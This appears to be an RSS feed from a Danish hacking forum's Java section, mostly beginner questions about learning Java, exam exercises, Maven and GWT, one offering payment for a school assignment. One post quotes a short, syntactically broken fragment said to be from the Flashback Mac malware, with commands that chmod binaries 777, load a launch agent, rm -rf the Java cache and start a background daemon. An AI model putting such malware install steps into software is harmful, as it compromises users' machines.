<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/">
	<channel>
		<title><![CDATA[Shellsec - JAVA]]></title>
		<link>https://www.shellsec.pw/</link>
		<description><![CDATA[Shellsec - https://www.shellsec.pw]]></description>
		<pubDate>Sun, 19 Apr 2026 09:33:27 +0000</pubDate>
		<generator>MyBB</generator>
		<item>
			<title><![CDATA[OSRS - Custom bot]]></title>
			<link>https://www.shellsec.pw/traad-osrs-custom-bot</link>
			<pubDate>Mon, 02 Nov 2020 16:47:06 +0100</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-osrs-custom-bot</guid>
			<description><![CDATA[Nogen der har forstand på at lave custom OSRS bot's?]]></description>
			<content:encoded><![CDATA[Nogen der har forstand på at lave custom OSRS bot's?]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Læring af Java]]></title>
			<link>https://www.shellsec.pw/traad-laering-af-java</link>
			<pubDate>Fri, 14 Sep 2018 22:32:44 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-laering-af-java</guid>
			<description><![CDATA[Nogen der har noget materiale til læring af java, som de måske kunne anbefale til en der føler sig temmelig tryg med python?]]></description>
			<content:encoded><![CDATA[Nogen der har noget materiale til læring af java, som de måske kunne anbefale til en der føler sig temmelig tryg med python?]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Hack over java]]></title>
			<link>https://www.shellsec.pw/traad-hack-over-java</link>
			<pubDate>Sun, 19 Feb 2017 19:46:26 +0100</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-hack-over-java</guid>
			<description><![CDATA[Hi.<br />
Jeg leder efter et godt sted at lære at hacke over Java.<br />
Jeg håber i kan hjælpe mig.]]></description>
			<content:encoded><![CDATA[Hi.<br />
Jeg leder efter et godt sted at lære at hacke over Java.<br />
Jeg håber i kan hjælpe mig.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Java Opgaver]]></title>
			<link>https://www.shellsec.pw/traad-java-opgaver</link>
			<pubDate>Thu, 16 Feb 2017 00:41:08 +0100</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-java-opgaver</guid>
			<description><![CDATA[Jeg har nogle opgaver, jeg ikke kan finde ud af at forstå og løse UDEN brug af hjælpemidler.<br />
<br />
Kun pen and paper. Det kunne være fedt, hvis nogen kunne hjælpe og forklare.<br />
<br />
<br />
Opgave 1) <br />
<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>for (int i = 0; i &lt; 5; i++) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;System.out.println('*');<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for (int j = 1; j &lt; i; j++)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;System.out.print(j + "+");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;System.out.print("*");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</code></div></div><br />
Opgavespørgsmål:<br />
<br />
- Hvad udskrives til skærmen? <br />
<br />
<br />
Kommentar: <br />
<br />
Fx. 0 &lt; 5, printer en stjerne ud og så inkrementeres i. <br />
Derefter spørger den om, j (som er 1) er større end i (som er 0). Det er den jo ikke.<br />
<br />
Så den første System.out.print-sætning bliver ikke printet ud. Men gør den anden? <br />
<br />
<br />
<br />
<br />
Opgave 2)<br />
<br />
Hvad er resultatet af udtrykket:<br />
<br />
a % b;<br />
<br />
<br />
når a og b er typen int og deres værdier er: a = 3 and b = -67<br />
<br />
a.	-2<br />
b.	-3<br />
c.	4<br />
d.	3 <br />
<br />
<br />
<br />
Opgave 3)<br />
<br />
<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>String s = "hello there";<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for ( int count = 4; count &lt; s.length()-2; count ++) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;System.out.printf("%c", s.charAt(count));<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
<br />
}</code></div></div><br />
Opgavespørgsmål: <br />
<br />
- Hvad skriver ovenstående kode på skærmen?<br />
<br />
a. Hello there<br />
b. Der printes ingenting<br />
c. ello ther<br />
d. o there<br />
<br />
<br />
Kommentar: Den del af koden jeg ikke forstår, er %c og charAt metoden. Hvad gør charAt og %c<br />
<br />
<br />
<br />
Opgave 4)<br />
<br />
<br />
Givet følgende variabelerklæringer:<br />
<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>long l=2L;<br />
&nbsp;&nbsp;&nbsp;&nbsp;int i = 6;<br />
&nbsp;&nbsp;&nbsp;&nbsp;float f=0.5F;<br />
&nbsp;&nbsp;&nbsp;&nbsp;double d=0.6;</code></div></div><br />
Opgavespørgsmål:<br />
<br />
- Hvilke af nedenstående sætninger er ikke tilladt? <br />
<br />
a)	l=i;<br />
b)	d=i;<br />
c)	d=f;<br />
d)	i=l;<br />
<br />
<br />
Kommentar: Er alle sætninger ikke tilladte? Alle typerne er numeriske datatyper. Jeg troede at java godt kunne konvertere frem og tilbage selvom man kunne miste noget data.<br />
<br />
<br />
<br />
Opgave 5)<br />
<br />
Givet følgende kode:<br />
<br />
<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>int i, j;<br />
&nbsp;&nbsp;&nbsp;&nbsp;int ctr = 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;int myArray[][] = new int [2][3];<br />
&nbsp;&nbsp;&nbsp;&nbsp;for (i=0; i&lt;3; i++)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for (j=0; j&lt;2; j++) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;myArray[j][i] = ctr;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;++ctr;</code></div></div><br />
Opgave spørgsmål: <br />
<br />
- Hvad er værdien af elementet I myArray[1][2] efter udførelsen af ovenstående kode? <br />
<br />
a)	5<br />
b)	2<br />
c)	3<br />
d)	4<br />
<br />
<br />
<br />
Kommentar: Jeg er bare lost. Jeg forstår ikke koden. Har sjældent set et Array med 2 '[][]' efter hinanden.]]></description>
			<content:encoded><![CDATA[Jeg har nogle opgaver, jeg ikke kan finde ud af at forstå og løse UDEN brug af hjælpemidler.<br />
<br />
Kun pen and paper. Det kunne være fedt, hvis nogen kunne hjælpe og forklare.<br />
<br />
<br />
Opgave 1) <br />
<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>for (int i = 0; i &lt; 5; i++) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;System.out.println('*');<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for (int j = 1; j &lt; i; j++)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;System.out.print(j + "+");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;System.out.print("*");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</code></div></div><br />
Opgavespørgsmål:<br />
<br />
- Hvad udskrives til skærmen? <br />
<br />
<br />
Kommentar: <br />
<br />
Fx. 0 &lt; 5, printer en stjerne ud og så inkrementeres i. <br />
Derefter spørger den om, j (som er 1) er større end i (som er 0). Det er den jo ikke.<br />
<br />
Så den første System.out.print-sætning bliver ikke printet ud. Men gør den anden? <br />
<br />
<br />
<br />
<br />
Opgave 2)<br />
<br />
Hvad er resultatet af udtrykket:<br />
<br />
a % b;<br />
<br />
<br />
når a og b er typen int og deres værdier er: a = 3 and b = -67<br />
<br />
a.	-2<br />
b.	-3<br />
c.	4<br />
d.	3 <br />
<br />
<br />
<br />
Opgave 3)<br />
<br />
<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>String s = "hello there";<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for ( int count = 4; count &lt; s.length()-2; count ++) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;System.out.printf("%c", s.charAt(count));<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
<br />
}</code></div></div><br />
Opgavespørgsmål: <br />
<br />
- Hvad skriver ovenstående kode på skærmen?<br />
<br />
a. Hello there<br />
b. Der printes ingenting<br />
c. ello ther<br />
d. o there<br />
<br />
<br />
Kommentar: Den del af koden jeg ikke forstår, er %c og charAt metoden. Hvad gør charAt og %c<br />
<br />
<br />
<br />
Opgave 4)<br />
<br />
<br />
Givet følgende variabelerklæringer:<br />
<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>long l=2L;<br />
&nbsp;&nbsp;&nbsp;&nbsp;int i = 6;<br />
&nbsp;&nbsp;&nbsp;&nbsp;float f=0.5F;<br />
&nbsp;&nbsp;&nbsp;&nbsp;double d=0.6;</code></div></div><br />
Opgavespørgsmål:<br />
<br />
- Hvilke af nedenstående sætninger er ikke tilladt? <br />
<br />
a)	l=i;<br />
b)	d=i;<br />
c)	d=f;<br />
d)	i=l;<br />
<br />
<br />
Kommentar: Er alle sætninger ikke tilladte? Alle typerne er numeriske datatyper. Jeg troede at java godt kunne konvertere frem og tilbage selvom man kunne miste noget data.<br />
<br />
<br />
<br />
Opgave 5)<br />
<br />
Givet følgende kode:<br />
<br />
<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>int i, j;<br />
&nbsp;&nbsp;&nbsp;&nbsp;int ctr = 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;int myArray[][] = new int [2][3];<br />
&nbsp;&nbsp;&nbsp;&nbsp;for (i=0; i&lt;3; i++)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for (j=0; j&lt;2; j++) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;myArray[j][i] = ctr;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;++ctr;</code></div></div><br />
Opgave spørgsmål: <br />
<br />
- Hvad er værdien af elementet I myArray[1][2] efter udførelsen af ovenstående kode? <br />
<br />
a)	5<br />
b)	2<br />
c)	3<br />
d)	4<br />
<br />
<br />
<br />
Kommentar: Jeg er bare lost. Jeg forstår ikke koden. Har sjældent set et Array med 2 '[][]' efter hinanden.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Hjælp til Maven]]></title>
			<link>https://www.shellsec.pw/traad-hjaelp-til-maven</link>
			<pubDate>Tue, 07 Jun 2016 20:25:38 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-hjaelp-til-maven</guid>
			<description><![CDATA[Jeg er virkelig ved at gå ned over Maven, har desperat brug for hjælp.<br />
<br />
Jeg har cloned et projekt fra Github, som jeg godt kunne tænke mig at arbejde videre på. Fedt nok, det er bare lavet i Maven, som giver mig en mega hovedpine.<br />
<br />
Jeg skal have lavet et nyt Maven projekt (et plugin til det andet projekt, basically), men jeg kan simpelthen ikke få Maven til at compile det, da jeg får <span style="font-weight: bold;" class="mycode_b">error: package com.eu.package does not exist</span>, hver eneste gang jeg prøver (også selvom IntelliJ ikke giver nogen fejl, da jeg egentlig har tilføjet en dependency til det andet projekt).<br />
<br />
Håber virkelig det giver mening, for græder mig selv i søvn over det her.<br />
<br />
Min pom.xml til det andet projekt ser sådan her ud:<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt;<br />
&lt;project xmlns="http://maven.apache.org/POM/4.0.0"<br />
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"<br />
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"&gt;<br />
   &lt;parent&gt;<br />
       &lt;artifactId&gt;Package&lt;/artifactId&gt;<br />
       &lt;groupId&gt;com.eu.package&lt;/groupId&gt;<br />
       &lt;version&gt;1.0&lt;/version&gt;<br />
       &lt;relativePath&gt;../project/pom.xml&lt;/relativePath&gt;<br />
   &lt;/parent&gt;<br />
   &lt;modelVersion&gt;4.0.0&lt;/modelVersion&gt;<br />
<br />
   &lt;artifactId&gt;Kopa-Plugin&lt;/artifactId&gt;<br />
   &lt;dependencies&gt;<br />
       &lt;dependency&gt;<br />
           &lt;groupId&gt;com.eu.package&lt;/groupId&gt;<br />
           &lt;artifactId&gt;Package&lt;/artifactId&gt;<br />
           &lt;version&gt;1.0&lt;/version&gt;<br />
           &lt;scope&gt;system&lt;/scope&gt;<br />
           &lt;systemPath&gt;&#36;{pom.basedir}/../project/target/Package-1.0-jar-with-dependencies.jar&lt;/systemPath&gt;<br />
       &lt;/dependency&gt;<br />
   &lt;/dependencies&gt;<br />
&lt;/project&gt;</code></div></div><br />
Det burde da virke fint, ik? IntelliJ siger, at der ikke er nogen fejl, så hvorfor vil Maven ikke compile det skidt. Package-1.0-jar-with-dependencies.jar indeholder com.eu.package, som Maven siger ikke findes.]]></description>
			<content:encoded><![CDATA[Jeg er virkelig ved at gå ned over Maven, har desperat brug for hjælp.<br />
<br />
Jeg har cloned et projekt fra Github, som jeg godt kunne tænke mig at arbejde videre på. Fedt nok, det er bare lavet i Maven, som giver mig en mega hovedpine.<br />
<br />
Jeg skal have lavet et nyt Maven projekt (et plugin til det andet projekt, basically), men jeg kan simpelthen ikke få Maven til at compile det, da jeg får <span style="font-weight: bold;" class="mycode_b">error: package com.eu.package does not exist</span>, hver eneste gang jeg prøver (også selvom IntelliJ ikke giver nogen fejl, da jeg egentlig har tilføjet en dependency til det andet projekt).<br />
<br />
Håber virkelig det giver mening, for græder mig selv i søvn over det her.<br />
<br />
Min pom.xml til det andet projekt ser sådan her ud:<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt;<br />
&lt;project xmlns="http://maven.apache.org/POM/4.0.0"<br />
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"<br />
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"&gt;<br />
   &lt;parent&gt;<br />
       &lt;artifactId&gt;Package&lt;/artifactId&gt;<br />
       &lt;groupId&gt;com.eu.package&lt;/groupId&gt;<br />
       &lt;version&gt;1.0&lt;/version&gt;<br />
       &lt;relativePath&gt;../project/pom.xml&lt;/relativePath&gt;<br />
   &lt;/parent&gt;<br />
   &lt;modelVersion&gt;4.0.0&lt;/modelVersion&gt;<br />
<br />
   &lt;artifactId&gt;Kopa-Plugin&lt;/artifactId&gt;<br />
   &lt;dependencies&gt;<br />
       &lt;dependency&gt;<br />
           &lt;groupId&gt;com.eu.package&lt;/groupId&gt;<br />
           &lt;artifactId&gt;Package&lt;/artifactId&gt;<br />
           &lt;version&gt;1.0&lt;/version&gt;<br />
           &lt;scope&gt;system&lt;/scope&gt;<br />
           &lt;systemPath&gt;&#36;{pom.basedir}/../project/target/Package-1.0-jar-with-dependencies.jar&lt;/systemPath&gt;<br />
       &lt;/dependency&gt;<br />
   &lt;/dependencies&gt;<br />
&lt;/project&gt;</code></div></div><br />
Det burde da virke fint, ik? IntelliJ siger, at der ikke er nogen fejl, så hvorfor vil Maven ikke compile det skidt. Package-1.0-jar-with-dependencies.jar indeholder com.eu.package, som Maven siger ikke findes.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Java gwt - Google web tools hjælp til en skole opgave!!]]></title>
			<link>https://www.shellsec.pw/traad-java-gwt-google-web-tools-hjaelp-til</link>
			<pubDate>Thu, 28 Apr 2016 20:23:30 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-java-gwt-google-web-tools-hjaelp-til</guid>
			<description><![CDATA[Har i det godt shellsec'ere!?<br />
Jeg er på nuværende tidspunkt i gang med en eksamensopgave i programmering (læser ha.it)<br />
Vi har fået til opgave, at implementere et javasystem vha. Gwt - Google web tools og mysql til databasen, dog er vi en smule på den, da den skal afleveres onsdag kl. 12 og vi er en ny gruppe som er lidt uerfaren på det område. <br />
Findes der nogen på denne dejlige side, som har styr på gwt, det skulle forestille at være meget simpelt, da vores opgave ikke er det helt store og kun på 2. Semester.<br />
Hvis nogen kan finde ud af det eller har lyst til st lave opgave mod betaling, så skriv pb!!<br />
- Xirikar]]></description>
			<content:encoded><![CDATA[Har i det godt shellsec'ere!?<br />
Jeg er på nuværende tidspunkt i gang med en eksamensopgave i programmering (læser ha.it)<br />
Vi har fået til opgave, at implementere et javasystem vha. Gwt - Google web tools og mysql til databasen, dog er vi en smule på den, da den skal afleveres onsdag kl. 12 og vi er en ny gruppe som er lidt uerfaren på det område. <br />
Findes der nogen på denne dejlige side, som har styr på gwt, det skulle forestille at være meget simpelt, da vores opgave ikke er det helt store og kun på 2. Semester.<br />
Hvis nogen kan finde ud af det eller har lyst til st lave opgave mod betaling, så skriv pb!!<br />
- Xirikar]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Management tool]]></title>
			<link>https://www.shellsec.pw/traad-management-tool</link>
			<pubDate>Thu, 24 Mar 2016 14:15:34 +0100</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-management-tool</guid>
			<description><![CDATA[Hej folkens ;)<br />
Jeg har fået lidt inspiration til et webtool som jeg ønsker at lave, men ved bare ikke hvor jeg skal starte.<br />
<br />
Har en java app der skal kommunikere med et web/browser interface, så jeg f.eks kan udføre visse kommandoer fra webinterfacet til java applikationen. I princippet så skal jeg selv lave et script til selve java appen, så når scriptet køre i java appen, så er det muligt at sende kommandoer.<br />
<br />
Hvor ville i starte? Og skulle man gå i gang med det som php?<br />
<br />
Der er også et API fra java applikationen som kan bruges, så tænker at det er nemt at sende kommandoer fra et interface til scriptet via php. Men er det muligt med php?<br />
<br />
Hvor ville i starte?<br />
<hr class="mycode_hr" />
Skal dog siges at jeg ikke har roddet med PHP længe så overvejede at lære Django i stedet :)]]></description>
			<content:encoded><![CDATA[Hej folkens ;)<br />
Jeg har fået lidt inspiration til et webtool som jeg ønsker at lave, men ved bare ikke hvor jeg skal starte.<br />
<br />
Har en java app der skal kommunikere med et web/browser interface, så jeg f.eks kan udføre visse kommandoer fra webinterfacet til java applikationen. I princippet så skal jeg selv lave et script til selve java appen, så når scriptet køre i java appen, så er det muligt at sende kommandoer.<br />
<br />
Hvor ville i starte? Og skulle man gå i gang med det som php?<br />
<br />
Der er også et API fra java applikationen som kan bruges, så tænker at det er nemt at sende kommandoer fra et interface til scriptet via php. Men er det muligt med php?<br />
<br />
Hvor ville i starte?<br />
<hr class="mycode_hr" />
Skal dog siges at jeg ikke har roddet med PHP længe så overvejede at lære Django i stedet :)]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Hvornår er det egen kode?]]></title>
			<link>https://www.shellsec.pw/traad-hvornaar-er-det-egen-kode</link>
			<pubDate>Fri, 05 Jun 2015 00:32:40 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-hvornaar-er-det-egen-kode</guid>
			<description><![CDATA[Hey alle. Jeg kan virkelig ikke forstå det når folk siger at det er ens egen kode. For hvis jeg er korrekt så vil det jo altid hede et if statement eller et var når du skal sætten en variabel?<br />
<br />
Gerne forklar meningen med egen kode osv.]]></description>
			<content:encoded><![CDATA[Hey alle. Jeg kan virkelig ikke forstå det når folk siger at det er ens egen kode. For hvis jeg er korrekt så vil det jo altid hede et if statement eller et var når du skal sætten en variabel?<br />
<br />
Gerne forklar meningen med egen kode osv.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Nu det nu! - Skal lære JAVA]]></title>
			<link>https://www.shellsec.pw/traad-nu-det-nu-skal-laere-java</link>
			<pubDate>Sun, 08 Mar 2015 22:47:44 +0100</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-nu-det-nu-skal-laere-java</guid>
			<description><![CDATA[Hey alle!<br />
<br />
Efter en stor overbevisning overfor mig selv, har jeg endelig valgt at nu vil jeg tage mig sammen og få lært java at kende. Har prøvet flere gange men hurtigt gået i stå.<br />
<br />
Nogen der kan hjælpe mig med hvor jeg skal starte? Leder efter noget der er værd at læse og det er nemt at forstå, da jeg nemt går i stå. Min tålmodighed er bare lig med nul når det gælder nye sprog.<br />
<br />
Kan sagtens engelsk, men tænker det måske bedst at lære det på dansk så man bedre kan forstå det?<br />
<br />
Håber at nogen af jer kloge hoveder kan guide eller give mig lidt hints eller smide mig videre til et par sites hvor det kan læres :D<br />
<br />
På forhånd tak!]]></description>
			<content:encoded><![CDATA[Hey alle!<br />
<br />
Efter en stor overbevisning overfor mig selv, har jeg endelig valgt at nu vil jeg tage mig sammen og få lært java at kende. Har prøvet flere gange men hurtigt gået i stå.<br />
<br />
Nogen der kan hjælpe mig med hvor jeg skal starte? Leder efter noget der er værd at læse og det er nemt at forstå, da jeg nemt går i stå. Min tålmodighed er bare lig med nul når det gælder nye sprog.<br />
<br />
Kan sagtens engelsk, men tænker det måske bedst at lære det på dansk så man bedre kan forstå det?<br />
<br />
Håber at nogen af jer kloge hoveder kan guide eller give mig lidt hints eller smide mig videre til et par sites hvor det kan læres :D<br />
<br />
På forhånd tak!]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[JAVA - Næste ny]]></title>
			<link>https://www.shellsec.pw/traad-java-naeste-ny</link>
			<pubDate>Tue, 13 Jan 2015 16:56:16 +0100</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-java-naeste-ny</guid>
			<description><![CDATA[Hey gutter, jeg går på 3 år i gymnasiet og har JAVA programmering som valgfag - jeg forstår ikke over 50% af det læreren siger, selvom han er en flink en.<br />
<br />
Altså - jeg tror jeg ved det mest generalle (Hvad man kan lærer på omkring 10 timer)  men jeg vil virkelig gerne lave et eksame projekt der sparker røv.<br />
<br />
Hvad er jeres anbefalinger, nogle gode danske hjemmesider eller videoer jeg kan benytte mig af, og hvilke program anbefaler i? (Gerne et med en masse genveje)<br />
<br />
Ligeledes er det iorden at spørge her inde hvis man løber ind i problemer ?]]></description>
			<content:encoded><![CDATA[Hey gutter, jeg går på 3 år i gymnasiet og har JAVA programmering som valgfag - jeg forstår ikke over 50% af det læreren siger, selvom han er en flink en.<br />
<br />
Altså - jeg tror jeg ved det mest generalle (Hvad man kan lærer på omkring 10 timer)  men jeg vil virkelig gerne lave et eksame projekt der sparker røv.<br />
<br />
Hvad er jeres anbefalinger, nogle gode danske hjemmesider eller videoer jeg kan benytte mig af, og hvilke program anbefaler i? (Gerne et med en masse genveje)<br />
<br />
Ligeledes er det iorden at spørge her inde hvis man løber ind i problemer ?]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Java gui dev vs c++?]]></title>
			<link>https://www.shellsec.pw/traad-java-gui-dev-vs-c</link>
			<pubDate>Tue, 24 Jun 2014 12:45:47 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-java-gui-dev-vs-c</guid>
			<description><![CDATA[Står i den situation, at jeg er blevet lokket med til et projekt, hvor brugerfladen på klienten er en essentiel del af projektet. Klienten skal bl.a. være cross-platform og anvende noget kryptering/RSA.<br />
<br />
Problemet er, at mine c++ kompetencer er langt bedre end mine java kompetencer. Skal jeg være helt ærlig, så tror jeg det bliver en stor mundfuld, at implementere RSA og andre relativt svære (for en java noob), funktioner. Men java er bare så oplagt fordi det skal være cross-platform.<br />
<br />
Hvad vil i vælge? Som jeg ser det lige nu:<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Java</span><ul class="mycode_list"><li>Cross platform JVM<br />
</li>
<li>Nemmere (kortere)<br />
</li>
<li>Nemme frameworks (swing, AWT, QT jambi)<br />
</li>
</ul>
<br />
<span style="font-weight: bold;" class="mycode_b">C++</span><ul class="mycode_list"><li>God erfaring<br />
</li>
<li>Binaries<img src="https://www.shellsec.pw/images/smilies/facebook/love.png" alt="Love" title="Love" class="smilie smilie_73" /> (no jvm/hullet ost dependencies)<br />
</li>
<li>QT<br />
</li>
</ul>
]]></description>
			<content:encoded><![CDATA[Står i den situation, at jeg er blevet lokket med til et projekt, hvor brugerfladen på klienten er en essentiel del af projektet. Klienten skal bl.a. være cross-platform og anvende noget kryptering/RSA.<br />
<br />
Problemet er, at mine c++ kompetencer er langt bedre end mine java kompetencer. Skal jeg være helt ærlig, så tror jeg det bliver en stor mundfuld, at implementere RSA og andre relativt svære (for en java noob), funktioner. Men java er bare så oplagt fordi det skal være cross-platform.<br />
<br />
Hvad vil i vælge? Som jeg ser det lige nu:<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Java</span><ul class="mycode_list"><li>Cross platform JVM<br />
</li>
<li>Nemmere (kortere)<br />
</li>
<li>Nemme frameworks (swing, AWT, QT jambi)<br />
</li>
</ul>
<br />
<span style="font-weight: bold;" class="mycode_b">C++</span><ul class="mycode_list"><li>God erfaring<br />
</li>
<li>Binaries<img src="https://www.shellsec.pw/images/smilies/facebook/love.png" alt="Love" title="Love" class="smilie smilie_73" /> (no jvm/hullet ost dependencies)<br />
</li>
<li>QT<br />
</li>
</ul>
]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Flashback malware (Mac OSX) exploitation part [SOURCE + FIX]]]></title>
			<link>https://www.shellsec.pw/traad-flashback-malware-mac-osx-exploitation</link>
			<pubDate>Sun, 01 Dec 2013 20:15:22 +0100</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-flashback-malware-mac-osx-exploitation</guid>
			<description><![CDATA[Dette er ikke kodet af mig, kredit til: deadc0de<br />
<pre class="line-numbers"><code class="language-java">Runtime.getRuntime().exec(newstring[] { "chmod", "777", binname ]).waitFor();<br />
Runtime.getRuntime().exec(newstring[] { "chmod", "777", dmn ]).waitFor();<br />
Runtime.getRuntime().exec(newstring[] { "luanchcti", "load", plpath ]).waitFor();<br />
Runtime.getRuntime().exec(newstring[] { "rm", "-rf", hpath + "/Library/Caches/Java/cache" ]).waitFor();<br />
Runtime.getRuntime().exec(newstring[] { "nohup", dmn, "&amp;"  ]).waitFor();<br />
</code></pre>]]></description>
			<content:encoded><![CDATA[Dette er ikke kodet af mig, kredit til: deadc0de<br />
<pre class="line-numbers"><code class="language-java">Runtime.getRuntime().exec(newstring[] { "chmod", "777", binname ]).waitFor();<br />
Runtime.getRuntime().exec(newstring[] { "chmod", "777", dmn ]).waitFor();<br />
Runtime.getRuntime().exec(newstring[] { "luanchcti", "load", plpath ]).waitFor();<br />
Runtime.getRuntime().exec(newstring[] { "rm", "-rf", hpath + "/Library/Caches/Java/cache" ]).waitFor();<br />
Runtime.getRuntime().exec(newstring[] { "nohup", dmn, "&amp;"  ]).waitFor();<br />
</code></pre>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[hej java]]></title>
			<link>https://www.shellsec.pw/traad-hej-java</link>
			<pubDate>Sat, 16 Nov 2013 16:36:25 +0100</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-hej-java</guid>
			<description><![CDATA[hej det er godt at kode java hej det er så lækkert jeg kan godt lide jer det er for fedt kode java<br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="color: red;" class="mycode_color">Brugeren er blevet advaret for denne post</span></span>]]></description>
